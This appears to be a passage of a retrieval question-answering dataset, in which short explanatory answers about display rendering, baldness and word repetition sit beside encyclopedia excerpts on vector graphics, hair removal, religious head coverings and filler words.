more unusual than the man could have ever imagined.", "this in the following way: if you are standing in front of a house, you have a proper, direct presentation of that house, but if you are looking for it and ask for directions, then these directions (e.g. the house on the corner of this and that street) are an indirect, improper presentation. In other words, you can have a proper presentation of an object if it is actually present, and an improper (or symbolic, as he also calls it) one if you only can indicate that object through signs, symbols, etc. Husserl's Logical Investigations (1900–1901) is considered the starting", "you find, often they reveal clues or give you hints on what to do next." ]

[ "Getting your display to show something involves a number of layers, each of them doing their own thing.\n\nThe display itself is rasters because that's the physical construction - you have LCD laid out in a rectangular grid. It directly renders those rasters from a highly parallel stream of data.\n\nThat highly parallel stream of data is generated by your video card/hardware from a frame buffer (which is laid out in the same pattern as the screen).\n\nHowever, that frame buffer is rendered via both raster and vector processes to minimize the data exchange along the microprocessor bus. Note that both the raster and vector information is 'only part of the screen'. If your O/S wants to draw a window and leave everything else alone, it only sends the raster data for that particular window rather the entire screen.\n\nNow, there are vector displays that are designed to render vectors specifically. But they don't really have much color depth and they can't display complex patterns easily." ]

[ "different nature of raster programs over a vector-plotted approach gives some vexel images a unique appearance when compared with traditional rasterized vector graphics. However, the increased flexibility comes with a loss of image scalability for print media, which vector artwork retains. To compensate for this, most vexels are created at very high resolution.\nA vexel may even be composed using vector graphic techniques, however it becomes a vexel when the vector elements are rasterized and further manipulations to the image are done in raster. Sometimes true raster images are placed behind and/or in front of the original vector elements to emphasize", "Raster graphics editor Comparison to vector graphic editors Vector graphics editors are often contrasted with raster graphics editors, yet their capabilities complement each other. The technical difference between vector and raster editors stem from the difference between vector and raster images. Vector graphics are created mathematically, using geometric formulas. Each element is created and manipulated numerically; essentially using Cartesian coordinates for the placement of key points, and then a mathematical algorithm to connect the dots and define the colors.\nRaster images include digital photos. A raster image is made up of rows and columns of dots, called pixels, and is generally", "an array of pixels and is typically used for the representation of photographic images. Vector graphics consists in encoding information about shapes and colors that comprise the image, which can allow for more flexibility in rendering. There are instances when working with vector tools and formats is best practice, and instances when working with raster tools and formats is best practice. There are times when both formats come together. An understanding of the advantages and limitations of each technology and the relationship between them is most likely to result in efficient and effective use of tools. Three-dimensional 3D graphics, compared", "4D vector In computer science, a 4D vector is a 4-component vector data type. Uses include homogeneous coordinates for 3-dimensional space in computer graphics, and red green blue alpha (RGBA) values for bitmap images with a color and alpha channel (as such they are widely used in computer graphics). They may also represent quaternions (useful for rotations) although the algebra they define is different. Computer hardware support Some microprocessors have hardware support for 4D vectors with instructions dealing with 4 lane single instruction, multiple data (SIMD) instructions, usually with a 128-bit data path and 32-bit floating point fields.\nSpecific instructions (e.g.,", "as descriptions of lines, Bézier curves, and text instead of pixels. It is easier to rasterize a vector image than to vectorize a raster image; how to go about vectorizing a raster image is the focus of much research in the field of computer vision. Vector images can be modified more easily, because they contain descriptions of the shapes for easy rearrangement. They are also scalable, being rasterizable at any resolution. Automatic image enhancement Camera or computer image editing programs often offer basic automatic image enhancement features that correct color hue and brightness imbalances as well as other image editing", "Autodesk Graphic (formerly iDraw), CorelDRAW, Sketch, Inkscape, sK1 or Xara Photo & Graphic Designer have adopted raster effects that were once limited to bitmap editors (e.g. blurring). Specialized features Some vector editors support animation, while others (e.g. Adobe Flash, Animatron or Synfig Studio) are specifically geared towards producing animated graphics. Generally, vector graphics are more suitable for animation, though there are raster-based animation tools as well. \nVector editors are closely related to desktop publishing software such as Adobe InDesign or Scribus, which also usually include some vector drawing tools (usually less powerful than those in standalone vector editors).\nSpecial vector editors", "Ray-tracing hardware Introduction: Ray tracing and rasterization The problem of rendering 3D graphics can be conceptually presented as finding all intersections between a set of \"primitives\" (typically triangles or polygons) and a set of \"rays\" (typically one or more per pixel).\nUp to 2010 all typical graphic acceleration boards, called graphics processing units (GPUs), use rasterization algorithms. The ray tracing algorithm solves the rendering problem in a different way. In each step, it finds all intersections of a ray with a set of relevant primitives of the scene.\nBoth approaches have their own benefits and drawbacks. Rasterization can be performed using devices", "Rasterisation Rasterisation of 3D images Compared with other rendering techniques such as ray tracing, rasterisation is extremely fast. However, rasterisation is simply the process of computing the mapping from scene geometry to pixels and does not prescribe a particular way to compute the color of those pixels. Shading, including programmable shading, may be based on physical light transport, or artistic intent.\nThe process of rasterising 3D models onto a 2D plane for display on a computer screen (\"screen space\") is often carried out by fixed function hardware within the graphics pipeline. This is because there is no motivation for modifying the", "DirectX, Simple DirectMedia Layer (SDL), and OpenGL are also commonly used in games as they provide hardware-independent access to other computer hardware such as input devices (mouse, keyboard, and joystick), network cards, and sound cards. Before hardware-accelerated 3D graphics, software renderers had been used. Software rendering is still used in some modeling tools or for still-rendered images when visual accuracy is valued over real-time performance (frames-per-second) or when the computer hardware does not meet needs such as shader support.\nWith the advent of hardware accelerated physics processing, various physics APIs such as PAL and the physics extensions of COLLADA became available", "interactive 3D graphics applications such as demoscene productions, computer and video games, and image rendering. Some real-time software 3D engines based on ray tracing have been developed by hobbyist demo programmers since the late 1990s.\nThe OpenRT project includes a highly optimized software core for ray tracing along with an OpenGL-like API in order to offer an alternative to the current rasterisation based approach for interactive 3D graphics. Ray tracing hardware, such as the experimental Ray Processing Unit developed at the Saarland University, has been designed to accelerate some of the computationally intensive operations of ray tracing. On March", "three dimensional images can be used with cuboids to recognize activities. This is possible because interest points aid software to focus on only the most important aspects of the images.\nRGB-D images and SLAM systems are used together in RGB-D SLAM systems, which are employed by Computer-aided design systems to generate point cloud-based three-dimensional maps.\nMost industrial multi-axis machining tools use computer-aided manufacturing and subsequently work in cuboid work spaces.", "implemented. This technique is commonly used due to the simplicity of such R-C algorithms, but they are not optimized for general M-D spaces.\nOther fast algorithms have been developed, such as radix-2, radix-4, and split radix. For example, Boussakta (2000) developed the 3-D vector radix,\nIt was also presented in Boussakta (2000) that this 3D-vector radix algorithm takes multiplications and additions compared to multiplications and additions from the row-column approach. The drawback is that the implementation of these radix-type of algorithms is hard to generalize for signals of arbitrary dimensions.\nNumber theoretic transforms have also been used for solving", "4 element dot product) may facilitate the use of one 128-bit register to represent a 4D vector. For example, in chronological order: Hitachi SH4, PowerPC VMX128 extension, and Intel x86 SSE4.\nSome 4-element vector engines (e.g., the PS2 vector units) went further with the ability to broadcast components as multiply sources, and cross product support. Earlier generations of graphics processing unit (GPU) shader pipelines used very long instruction word (VLIW) instruction sets tailored for similar operations. Software support SIMD use for 4D vectors can be conveniently wrapped in a vector maths library (commonly implemented in C or C++) commonly used in", "pen carriers and stationery paper (plot size was limited). However, the moving-paper H-P plotters had grit wheels (akin to machine-shop grinding wheels) which, on the first pass, indented the paper surface, and collectively maintained registration.\nPresent-day vector graphic files such as engineering drawings are typically printed as bitmaps, after vector-to-raster conversion.\nThe term \"vector graphics\" is mainly used today in the context of two-dimensional computer graphics. It is one of several modes an artist can use to create an image on a raster display. Vector graphics can be uploaded to online databases for other designers to download and manipulate, speeding up the", "Vector-radix FFT algorithm The vector-radix FFT algorithm, is a multidimensional fast Fourier transform (FFT) algorithm, which is a generalization of the ordinary Cooley–Tukey FFT algorithm that divides the transform dimensions by arbitrary radices. It breaks a multidimensional (MD) discrete Fourier transform (DFT) down into successively smaller MD DFTs until, ultimately, only trivial MD DFTs need to be evaluated.\nThe most common multidimensional FFT algorithm is the row-column algorithm, which means transforming the array first in one index and then in the other, see more in FFT. Then a radix-2 direct 2-D FFT has been developed, and it can eliminate 25% of", "video game development, along with 4×4 matrix support. These are distinct from more general linear algebra libraries in other domains focussing on matrices of arbitrary size. Such libraries sometimes support 3D vectors padded to 4D or loading 3D data into 4D registers, with arithmetic mapped efficiently to SIMD operations by per platform intrinsic function implementations. There is choice between AOS and SOA approaches given the availability of 4 element registers, versus SIMD instructions that are usually tailored toward homogenous data.\nShading languages for graphics processing unit (GPU) programming usually have a 4D datatypes (along with 2D, 3D) with x-y-z-w accessors including", "clip art, and technical drawings are suitable for vectorization. Those images could have been originally made as vector images because they are based on geometric shapes or drawn with simple curves.\nContinuous tone photographs (such as live portraits) are not good candidates for vectorization. \nThe input to vectorization is an image, but an image may come in many forms such as a photograph, a drawing on paper, or one of several raster file formats. Programs that do raster-to-vector conversion may accept bitmap formats such as TIFF, BMP and PNG.\nThe output is a vector file format. Common vector formats are SVG, DXF,", "non-scalable. High-quality typography is nowadays based on character drawings (fonts) which are typically stored as vector graphics, and as such are scalable to any size. Examples of these vector formats for characters are Postscript fonts and TrueType fonts. Vector operations Vector graphics editors typically allow translation, rotation, mirroring, stretching, skewing, affine transformations, changing of z-order (loosely, what's in front of what) and combination of primitives into more complex objects.\nMore sophisticated transformations include set operations on closed shapes (union, difference, intersection, etc.).\nVector graphics are ideal for simple or composite drawings that need to be device-independent, or do not need to achieve", "the content is stored digitally as resolution-independent mathematical formulae describing lines (open paths), shapes (closed paths), and color fills, strokes or gradients. Vector paths are constructed of anchor points and path segments by using the pointing device to click and drag. Many vector graphics are readily available for download from online databases which can then be edited and incorporated into larger projects. Drawing tools typically create precise lines, shapes and patterns with well-defined edges and are superb for working with complex constructions such as maps and typography.\nDigital illustrations may include both raster and vector graphics in the same work. A", "possible to play back motion graphics in full screen mode. This can be done without any client side video decoder software or specialized handling of video. These performance enhancements also means that ThinLinc works very well in conjunction with the VirtualGL software, which provides hardware accelerated OpenGL on the server side. This allows 3D applications such as Google Earth to run with good performance. For example, the National Supercomputer Centre in Sweden (NSC) is using ThinLinc to run applications in their cluster remotely. Usage Many universities use ThinLinc to make system administration more centralized or only to make remote access", "contributor to the now defunct but once popular teen message board Nova Boards to give it a distinctive name from traditional vector graphics. Seth didn't approve of calling the raster images that looked like vectors the name of \"vector\". In response to a question of what they would be called, he coined the term \"vexel\" as a combination of vector and pixel since they were not simply rasters, and those asking needed a name for a new style. He at first suggested calling them rasterized or posterized vector images, but the community took the word \"vexel\" as an acceptable", "primitives, determines which pixels in the image it affects, and modifies those pixels accordingly. This is called rasterization, and is the rendering method used by all current graphics cards.\nRasterization is frequently faster than pixel-by-pixel rendering. First, large areas of the image may be empty of primitives; rasterization will ignore these areas, but pixel-by-pixel rendering must pass through them. Second, rasterization can improve cache coherency and reduce redundant work by taking advantage of the fact that the pixels occupied by a single primitive tend to be contiguous in the image. For these reasons, rasterization is usually the", "Vector graphics Vector graphics are computer graphics images that are defined in terms of 2D points, which are connected by lines and curves to form polygons and other shapes. Each of these points has a definite position on the x- and y-axis of the work plane and determines the direction of the path; further, each path may have various properties including values for stroke color, shape, curve, thickness, and fill. Vector graphics are commonly found today in the SVG, EPS, PDF or AI graphic file formats and are intrinsically different from the more common raster graphics file formats such as", "console 3D games for user interfaces, HUDs, mini games, and video playback.\nThe newer 3D features of SWF have been seen as an alternative to WebGL, with a spurt of 3D engines like Papervision3D, Away3D, Sandy 3D, and Alternativa 3D targeting 3D SWF. Although some of these projects started around 2005, until Flash Player 10 however they had no support of GPU acceleration, and even in that version of the Flash Player, shaders could be used for same materials, but vertex information still had to be processed on the CPU (using BSP trees etc.) After version 11 of the Flash Player", "parallel and resilient distributed dataset. Applications An early application of the EMD in computer science was to compare two grayscale images that may differ due to dithering, blurring, or local deformations. In this case, the region is the image's domain, and the total amount of light (or ink) is the \"dirt\" to be rearranged.\nThe EMD is widely used in content-based image retrieval to compute distances between the color histograms of two digital images. In this case, the region is the RGB color cube, and each image pixel is a parcel of \"dirt\". The same technique can be", "and writes from less predictable access patterns (e.g., during texture mapping), whilst scratchpad DMA requires reworking algorithms for more predictable 'linear' traversals.\nAs such scratchpads are generally harder to use with traditional programming models, although dataflow models (such as TensorFlow) might be more suitable. Vector fetch Vector processors (for example modern graphics processing unit (GPUs) and Xeon Phi) use massive parallelism to achieve high throughput whilst working around memory latency (reducing the need for prefetching). Many read operations are issued in parallel, for subsequent invocations of a compute kernel; calculations may be put on hold awaiting future data, whilst the execution", "in TV sets), regardless of which dots are turned on. Bitmap raster graphics require much more memory than vector graphics. XGA-level 1024x768 black/white resolution requires 96 kilobytes of video refresh memory, 12 times more than a basic PDS-1. In 1970, that much core memory cost about $8000. (It now costs only 0.05 cents of shared DRAM.)\nVector displays were good for showing data charts, modifying line drawings and CAD diagrams, tumbling 3-D wire-frame shapes, editing text, laying out printed pages, and playing simple games. But they did not handle colors, images, filled-in areas, black-on-white screens, or WYSIWYG", "fixed-point implementation is ideal for embedded systems and mobile devices, which often lack floating-point hardware. Glyph formats The program supports traditional outline-based fonts, uniform-width stroke-based fonts, and Stylized Stroke Fonts (SSFs). Stroke-based fonts are useful for memory-constrained applications (e.g., embedded systems) because they occupy a much smaller footprint than outline-based fonts and are also faster to render. For example, outline-based fonts containing the GB2312 character set often require well over 3 MB of storage, whereas the same character set can be represented compactly in a stroke-based font with only 250 KB. However, since each stroke has a uniform width, USFs", "device driver specific to some video controller hardware (e.g., a GPU). To this mode-setting functionality, additional support for 2D acceleration was added when such became available with various GPUs. The mode-setting functionality was moved into the DRM and is being exposed through an DRM mode-setting interface, the new approach being called \"kernel mode-setting\" (KMS). But the 2D rendering acceleration remained.\nIn Debian the 2D graphics drivers for the X.Org Server are packaged individually and called xserver-xorg-video-*. After installation the 2D graphics driver-file is found under /usr/lib/xorg/modules/drivers/. The package xserver-xorg-video-nouveau installs nouveau_drv.so with a size of 215 KiB, the proprietary Nvidia GeForce driver", "OpenGL (through glx extension) for 3D and 2D overlay visual effects. Other implementations like Metacity and xfwm have been available since 2004.\nSome dedicated hardware overlay devices use embedded Linux as an operating system, for example the video logger by Racelogic uses a Texas Instruments DM355 micro-controller to blend a frame buffer containing graphics onto a live video feed, and then store the result in MPEG-4 format on a flash card.\nOverlay support aka Picture In Picture (PIP) was introduced to AmigaOS with the introduction of the PC graphic cards, Picasso96 and CyberGraphX graphic driver systems aka ReTargetable Graphics, for Picasso" ]

[ "Women can go bald, but male pattern baldness, specifically is a recessive trait on the X chromosome, meaning that it will only be expressed if you dont have a dominant version of that trait. Women have two chances to receive the dominant version (they're XX), but men only have one chance (they're XY), making it more common in men" ]

[ "only Hasidic group that requires its women to shave their head after marriage, as the custom faded away after World War II for other ultra-orthodox Jewish groups. Sport Competitive swimmers will often shave their entire body, including the head, to reduce drag while swimming. The same may also be true for sprinters, joggers or runners. Baldness People with hair loss often choose to shave their heads in order to look more aesthetic, maintain a personal preference, be more convenient, or to adhere to a certain style or fashion movement. Those with Alopecia areata and men facing male pattern baldness may", "heads bald, while women shaved part of it while keeping a tail with thick braids.", "it has become more common for young and/or fashionable women in Western societies to wear clothing that bared the midriff, \"short shorts,\" backless tops, sheer and other styles considered to be immodest. Gender differences Men and women are subject to different standards of modesty in dress. While both men and women, in Western culture, are generally expected to keep their genitals covered at all times, women are also expected to keep their breasts covered. Some body parts are normally more covered by men than women—e.g., the midriff and the upper part of the back. Organizations such as the Topfree Equal", "veil. Caroline Galt and Lloyd Llewellyn-Jones have both argued from such representations and literary references that it was commonplace for women (at least those of higher status) in ancient Greece to cover their hair and face in public. Roman women were expected to wear veils as a symbol of the husband's authority over his wife; a married woman who omitted the veil was seen as withdrawing herself from marriage. In 166 BC, consul Sulpicius Gallus divorced his wife because she had left the house unveiled, thus allowing all to see, as he said, what only he should see. Unmarried girls", "the upper lip in women is not considered true facial hair, though it is often referred to as a \"moustache\"; the appearance of these dark vellus hairs may be lessened by bleaching. A relatively small number of women are able to grow enough facial hair to have a distinct beard. In some cases, female beard growth is the result of a hormonal imbalance (usually androgen excess), or a rare genetic disorder known as hypertrichosis. Sometimes it is caused by use of anabolic steroids. Cultural pressure leads most women to remove facial hair, as it may be viewed as a social", "made of cotton or polyester that is worn over a full-length half-slip and a brassiere. Married women tend to sport head-scarves referred to as shash, and also often cover their upper body with a shawl known as garbasaar. Unmarried or young women, however, do not always cover their heads. Traditional Arabian garb such as the hijab and the jilbab is also commonly worn. United States The Supreme Court of the United States ruled against an Abercrombie and Fitch dress policy that prohibited the job applicant Samantha Elauf from wearing a hijab. Canada In 2011, the Canadian government made it illegal", "all of them go naked, except a few who cover themselves with a small cloak of rabbit or hare skin, which does not fall below the waist. The women wear a short apron of red and white cords twisted and worked as closely as possible, which extends to the knee. Others use the green and dry tule interwoven, and complete their outfit with a deerskin half tanned or entirely untanned, to make wretched underskirts which scarcely serve to indicate the distinction of sex, or to cover their nakedness with sufficient modesty. Food sources Due to the relative abundance of food", "to women of color because their genitals are more likely to be brown than pink\". The name actually refers to the resemblance of the top corners of the hats to cat ears and attempts to reclaim the derogatory term \"pussy\", a play on Donald Trump's widely reported 2005 remarks that women would let him \"grab them by the pussy\"; the hats have never been representations of genitals. Participation Around 250 marches, rallies, and actions took place on the anniversary of the 2017 Women's March, many coordinated by March On, the coalition of many of the Women's Marches across the country.", "or individual needs. Around the world, women generally shave their leg hair more regularly than men, to conform with the social norms of many cultures, many of which perceive smooth skin as a sign of youth, beauty, and in some cultures, hygiene. However, athletes of both sexes – swimmers, runners, cyclists and bodybuilders in particular – may shave their androgenic hair to reduce friction, highlight muscular development or to make it easier to get into and out of skin-tight clothing. Pubic Pubic hair is a collection of coarse hair found in the pubic region. It will often also grow on", "\"Kingsize, Not Queen: Some Men Are Taking to Wearing Pantyhose\". Some of the reasons for wearing them include:\nA significant portion of the population—both male and female—will eventually suffer from some sort of leg circulation problem, including venous insufficiency and related issues. There is no physiological difference between men and women that prevents it from developing in men in nearly equal frequency as women, therefore men can benefit from the preventative aspects of full length support hosiery every bit as much as their female counterparts. It is important to consult a physician when these problems worsen and varicose veins begin", "hair, and wearing of gold, or putting on of apparel.\" Theological bases Plain dressing Christians cite Paul's advice to the Romans, \"Be not conformed to this world,\" as one Biblical basis for their distinctive dress. Other scripture passages counsel women to wear head coverings while praying (1 Corinthians 11:5), not to cut their hair (1 Corinthians 11:14-15), and for men not to shave or cut their beards (Leviticus 19:27). \nThe rejection of extravagant clothing is further established in 1 Timothy 2:9-10\n[T]hat women adorn themselves in modest apparel, with shamefacedness and sobriety; not with broided hair, or gold, or pearls, or", "end thrown over the shoulder (much like a Roman toga).\nWomen typically wear the dirac, which is a long, light, diaphanous voile dress made of cotton or polyester that is worn over a full-length half-slip and a bra. Married women tend to sport head-scarves referred to as shash, and also often cover their upper body with a shawl known as garbasaar. Unmarried or young women, however, do not always cover their heads. Traditional Arabian garb such as the male jellabiya (jellabiyaad in Somali) and the female jilbāb is also commonly worn. For some occasions such as festivals, women may adorn themselves", "ethnicity, job, social class, wealth, and many other characteristics. Baldness is inherited from the mother's father A 50% chance exists for a person to share the same X chromosome as his maternal grandfather. Because women have two X chromosomes, they have two copies of the androgen receptor gene, while men only have one. Weight training and other types of physical activity cause baldness Because it increases testosterone levels, many Internet forums have put forward the idea that weight training and other forms of exercise increase hair loss in predisposed individuals. Although scientific studies do support a correlation between exercise", "unveiling – the bride.) Veiling by women Traditionally, in Christianity, women were enjoined to cover their heads in church, just as it was (and still is) customary for men to remove their hat as a sign of respect. Wearing a veil (also known as a headcovering) is seen as a sign of humility before God, as well as a reminder of the bridal relationship between Christ and the church. This practice is based on 1 Corinthians 11:4–16 in the Christian Bible, where St. Paul writes:\nNow I praise you, brethren, that ye remember me in all things, and keep the ordinances, as", "also helps them to better cope with the stifling heat. Women's dress typically consists of a cloth or short vest to cover their upper body, and an apron-like cloth to cover parts of their lower body. For special or ceremonial occasions, men and women wear blue and white vests in addition to vibrant accessories, such as an octagonal wooden hat for women, and silver helmets for men. During funerals and times of mourning, women wear their upper garments inside out, and men wear a piece of cloth, reverse side out, on their heads. It is also considered taboo to wear", "of a hair covering, both in the public and while attending church, was regarded as customary for Christian women in Mediterranean, European, Middle Eastern, and African cultures. Women who did not wear hair coverings were interpreted to be \"a prostitute or adultreress\". In Europe, law stipulated that married women who uncovered their head in public was evidence of her infidelity. Eastern Christianity Some Eastern Catholic, Eastern Orthodox and Oriental Orthodox Churches require women to cover their heads while in church; an example of this practice occurs in the Russian Orthodox Church. In Albania, Christian women often wear white veils, although", "and on formal occasions, especially in church. Women who did not wear headcoverings were interpreted to be \"a prostitute or adulteress\". In Europe, law stipulated that married women who uncovered their head in public was evidence of her infidelity. The Roman Catholic Church required all women to wear a Christian headcovering over their hair in church until the 1960s; in Spain, these take the form of the mantilla. Women meeting the Pope in formal audiences are still expected to wear them. Martin Luther, the German Reformer, as well as John Calvin, a major figure in the Reformed Churches, also expected", "kerchief or veil. Very elaborate veiling practices are common in Islam, Africa and Eastern Europe. Women who don't cover their head on a regular basis, often use a veil in traditional wedding and funeral ceremonies. Wig Wigs are headpieces made from natural or synthetic hair which may be worn to disguise baldness or thin hair, or as part of a costume. A toupee may be worn by a man to cover partial baldness. In most Commonwealth nations, special wigs are also worn by barristers, judges, and certain parliamentary officials as a symbol of the office. Protection or defense There are", "but if it is a disgrace for a woman to have her hair cut off or her head shaved, then she should cover her head. A man ought not to cover his head, since he is the image and glory of God; but woman is the glory of man. For man did not come from woman, but woman from man; neither was man created for woman, but woman for man.\nChristian Egalitarians believe that full partnership in an equal marriage is the most biblical view. As persons, husband and wife are of equal value. There is no priority of one spouse", "coverage in several newspapers. Liz Hoggard in The Observer describing it as \"offensive, outdated, misogynistic claptrap.\" He wrote: \"Women know that men don't like trousers, yet they deliberately wear them\". According to him: \"This is hostile behaviour - they are deliberately dressing in a way that is opposite to what men would like. It is behaviour that flies against common sense, and also flies against the normal human desire to please.\"\nA later book, Scams & Hypocrisies looked at perceived popular myths. On his blog, Marchessini has written that unmarried mothers are \"naughty girls\" who deserve a \"smack\" and that date", "including modern Western culture, women have shaved or otherwise removed the hair from part or all of the vulva. When high-cut swimsuits became fashionable, women who wished to wear them would remove the hair on either side of their pubic triangles, to avoid exhibiting pubic hair. Other women relish the beauty of seeing their vulva with hair, or completely hairless, and find one or the other more comfortable. The removal of hair from the vulva is a fairly recent phenomenon in the United States, Canada, and Western Europe, usually in the form of bikini waxing or Brazilian waxing, but has", "seen as lacking femininity for she failed to wear lipstick or revealing clothing. Women believed that in order to gain recognition, they needed to hide their feminine qualities, to thus appear more masculine. For example, women in the sixties often wore male clothing, which often did not fit for the pant's inseam was sized for a man and not a woman's leg. This conformity had little benefit besides men demoralizing them for lack of femininity.\nSince most of their colleagues in science are men, women also find themselves left out of opportunities to discuss possible research opportunities outside of the", "just a way of forcing women to walk an extremely thin line between being conventionally feminine (wear skirts and dresses, not pants!) but without doing anything that could be construed as sexual (but don't even allow a hint of nipple to be visible!)\"\nIn January 2011, a German court ruled that employers can require female employees to wear bras or undershirts at work. An airport security firm argued that requiring bras was essential \"to preserve the orderly appearance of employer-provided uniforms.\" The court also agreed that the company could require employees to keep their hair clean and male employees to be", "black frock coats and black hats for men (although there are some other clothing styles, depending on the religious sub-group to which they belong), and long-sleeved, modest clothing for women. In some Hasidic groups, the women wear thick black stockings all year long, even in summer. Married women wear a variety of hair coverings, from wigs to scarves and snoods. The men have beards, and many grow long sidecurls, called peyot. Many residents speak Yiddish in their daily lives, and use Hebrew only for prayer and religious study, as they believe Hebrew to be a sacred language only to be", "in order to gain authority in the workplace. According to Entwistle, in western culture female dress is considered to be more sexual than male dress. The feminine body has historically been associated with nature, nurturing, and reproduction, something that can be problematic in most workplaces, where manifesting such sexuality is considered inappropriate.\nAccording to some sociologists and psychologists, the primary function by which most women choose clothes and accessories is to look sexually appealing so that they may attract a partner. Feminists and even Freud have spoken out against this theory, since it has been well observed that both men and", "higher than they would be should they pick someone older—and therefore less fertile.\nThis may explain why combating age declines in attractiveness occurs from a younger age in women than in men. For example, the removal of one's body hair is considered a very feminine thing to do. This can be explained by the fact that aging results in raised levels of testosterone and thus, body hair growth. Shaving reverts one's appearance to a more youthful stage and although this may not be an honest signal, men will interpret this as a reflection of increased fertile value. Research supports this, showing", "dishonours her head: for that is even all one as if she were shaven. For if the woman is not covered, let her also be shorn: but if it is a shame for a woman to be shorn or shaven, let her be covered.\nMany Brethren interpret this verse to mean that when a woman speaks in church (i.e. prophesies) she is supposed to have her head covered. The Brethren have generally taken this even further, however, requiring the wearing of head coverings even though they have not generally permitted women to speak. For this reason, some meetings will be characterized", "preferred men with facial hair because they perceived them to be more masculine, sophisticated and mature than clean-shaven men. Similarly, a study performed by Kenny and Fletcher at Memphis State University, which is largely a commuter school and usually is regarded as more conventional than the University of Chicago, suggested that men with facial hair such as moustaches and beards, were perceived as stronger and more masculine by female students. However, the study performed by Feinman and Gill would suggest that this reaction to facial hair is not nationwide, as women studying in the state of Wyoming showed a marked", "X have spoken of the preference of women's wearing skirts rather than trousers. Cardinal Siri's letter has also been cited as justification for women wearing skirts and dresses. In addition, Saint Thomas Aquinas, the Church's principal theologian, also taught that \"outward apparel should be consistent with the estate of the person, according to the general custom. Hence it is in itself sinful for a woman to wear man's clothes, or vice versa; and it is expressly forbidden in the Law (Deuteronomy 22)...\"\nIn 2012 and 2013, some Mormon women participated in \"Wear Pants to Church Day\", in which they wore trousers", "hair about the vulva, as a custom of women from the Hindu Nair caste.\nIn Western societies, removal of female body hair (except for head hair, eyelashes and eyebrows) has traditionally been considered appropriate when it was visible.\nIn relation to pubic hair, with the reduction in the size of swimsuits, especially since the coming into fashion and popularity of the bikini since 1946, and the elimination of the skirt on swimsuits, the styling of pubic hair has also come into vogue. The practice to remove more pubic hair continued with the popularity or fashion of even briefer swimwear, such as the" ]

[ "Because it begins to lose your association with the idea it represents... IE - you say the word \"little\" and your mind immediately pictures something small.... if you continue to say \"little\" on repeat for a minute, it is just the sounds of the word coming out of your mouth and not the mental association with the idea." ]

[ "Despite being a common phenomenon, they are frequently associated with Scandinavian languages. Most words that are subject to ingressive speech are feedback words (\"yes, no\") or very short or primal (a cry of pain or sobbing). It sometimes occurs in rapid counting to maintain a steady airflow throughout a long series of unbroken sounds. It is also very common in animals, frogs, dogs, and cats (purring). In English, ingressive sounds include when one says \"Huh!\" (a gasping sound) to express surprise or \"Sss\" (an inward hiss) to express empathy when another is hurt.\nTsou and Damin have both been claimed to", "sequence differently in different contexts, non-native speakers and voice-synthesis software can make them \"sound very unnatural\", making it \"extremely difficult for the listener\" to grasp the intended meaning. American English American English has the tendency to delete a schwa when it appears in a midword syllable that comes after the stressed syllable. Kenstowicz (1994) states, \"American English schwa deletes in medial posttonic syllables\". He gives as examples words such as sep(a)rate (as an adjective), choc(o)late, cam(e)ra and elab(o)rate (as an adjective), where the schwa (represented by the letters in parentheses) has a tendency to be deleted. Other examples include fam(i)ly", "temporarily speechless, but still engaged in thought. The variety of tones, pitches, and lengths used add nuances in meaning. Etymology The expression is used in many different languages, however the origin of \"hmm\" is difficult to find, mainly because \"the word is so natural that it may have arisen at any time,\" as highlighted by linguist at the University of Minnesota and an expert on word origins, Anatoly Liberman. It is possible Neanderthals might have used \"hmm\". Nicholas Christenfeld, a psychologist at the University of California, San Diego, and an expert on filled pauses, attests \"hmm\" is popular largely since", "to me, so that it sounded a little bit nonsensical. I wanted to get that kind of jabberwocky word game thing happening with it, and also there are little things going on that your mind sort of catches without identifying, like a lot of poetic devices. You take the number of words that sound the same or start with the same letter or whatever. You just certainly don't start in the middle of it and go, \"Oh, that's alliteration\".\nLee said in an interview: \"There are a couple of tracks on the last few records where just before the fade-out, I", "reason it sounds [so cohesive] — even though it took so long to come together — is because when I do my stuff or I do my thing, it's me. It's what I sound like. Regardless of whether it takes me ten years or two weeks, it usually winds up sounding pretty much the same. For the most part, I play traditional-sounding roots music, Americana kind of stuff. So, it's not fashionable in the sense that if I don't get this out this year, it's going to be old-hat.\"", "it's such a neutral sound and that \"it's easier to say than anything else\". The earliest attestations of \"hmm\" are from Shakespeare, \"I cried hum... But markt him not a word\" (1598 Shakespeare Henry IV, Pt. 1 iii. i. 154). It may be a vocable that grew out of lexicalized throat-clearing. Use as a filler word \"Hmm\" is a \"filler\" word, such as \"um\" and \"er\". Use of \"hmm\" for \"filled pauses\" has been considered by many as stupidity and showing a lack of skill or competence, but many linguists attest this judgement is unjustified. Typically, \"hmm\" is uttered when", "the same time it shows so little interest in originality that I can't actually listen to anything called \"Hold On\" at this point in my life. I mean, it just seems crazy. So, if I have two little rules and guiding principles, they would be:\n(a) Don't use words that other people use. Very few people would put the word, oh, I don't know, \"pterodactyl\" into a song. So that's fine. No \"Oh\"'s. No \"Baby\"'s. No \"I miss you so\"'s. And no \"you done me wrong\". No \"bad\"'s or \"sad\"'s.\n(b) And the other thing is, write about subjects that no one", "actual words, they are in a meaningless sequence, except when heard and interpreted by someone familiar with the story. Each phrase, taken as a whole and, especially, heard aloud, so closely resembles phrases most speakers of English recognize as telling a well-known story, that hearers may take a moment to realize that every word is simply and purposely wrong. The tale begins \"Wants pawn term dare worsted ladle gull,\" which is easily deciphered, when spoken with appropriate intonation, to mean \"Once upon a time there was a little girl.\" The word replacement continues throughout the story.\nIn some cases a", "When You Say Nothing at All Origin Overstreet and Schlitz came up with \"When You Say Nothing at All\" at the end of an otherwise unproductive day. Strumming a guitar, trying to write their next song, they were coming up empty. \"As we tried to find another way to say nothing, we came up with the song\", Overstreet later told author Ace Collins. They thought the song was OK, but nothing special. When Keith Whitley heard it, he loved it, and was not going to let it get away. Earlier, he had recorded another Overstreet-Schlitz composition that became a No.", "next word by merely using the first word that comes to their mind after they hear the previous one. Sometimes however they may put in more thought to find a more creative connection between the words. Exchanges are often fast and sometimes unpredictable (though logical patterns can usually be found without difficulty). Sometimes, a lot of the game's fun can arise from the seemingly strange or amusing associations that people make between words. It is also found amusing what you can get from an original word, and how they contrast distinctly, for example, from the word \"tea\" you could get", "up word. According to Edwin, it comes from \"a word collage that I made cutting up letters and words and I pasted it down and I loved how it looked. Because it's made up, it confused people, people get thrown off by consonants, they take one look at it and sometimes they're disgusted, they're like 'That's not a word anyone could pronounce!'\"", "to pronounce the short a sound, /æ/ as in TRAP, as more of a diphthong and with a higher starting point in the mouth, causing the same word to sound more like \"tray-ap\" or \"tray-up\". After the Inland North's first vowel change—general /æ/ raising—the dialect remained largely stagnant for about a century, but around the 1960s, the region's 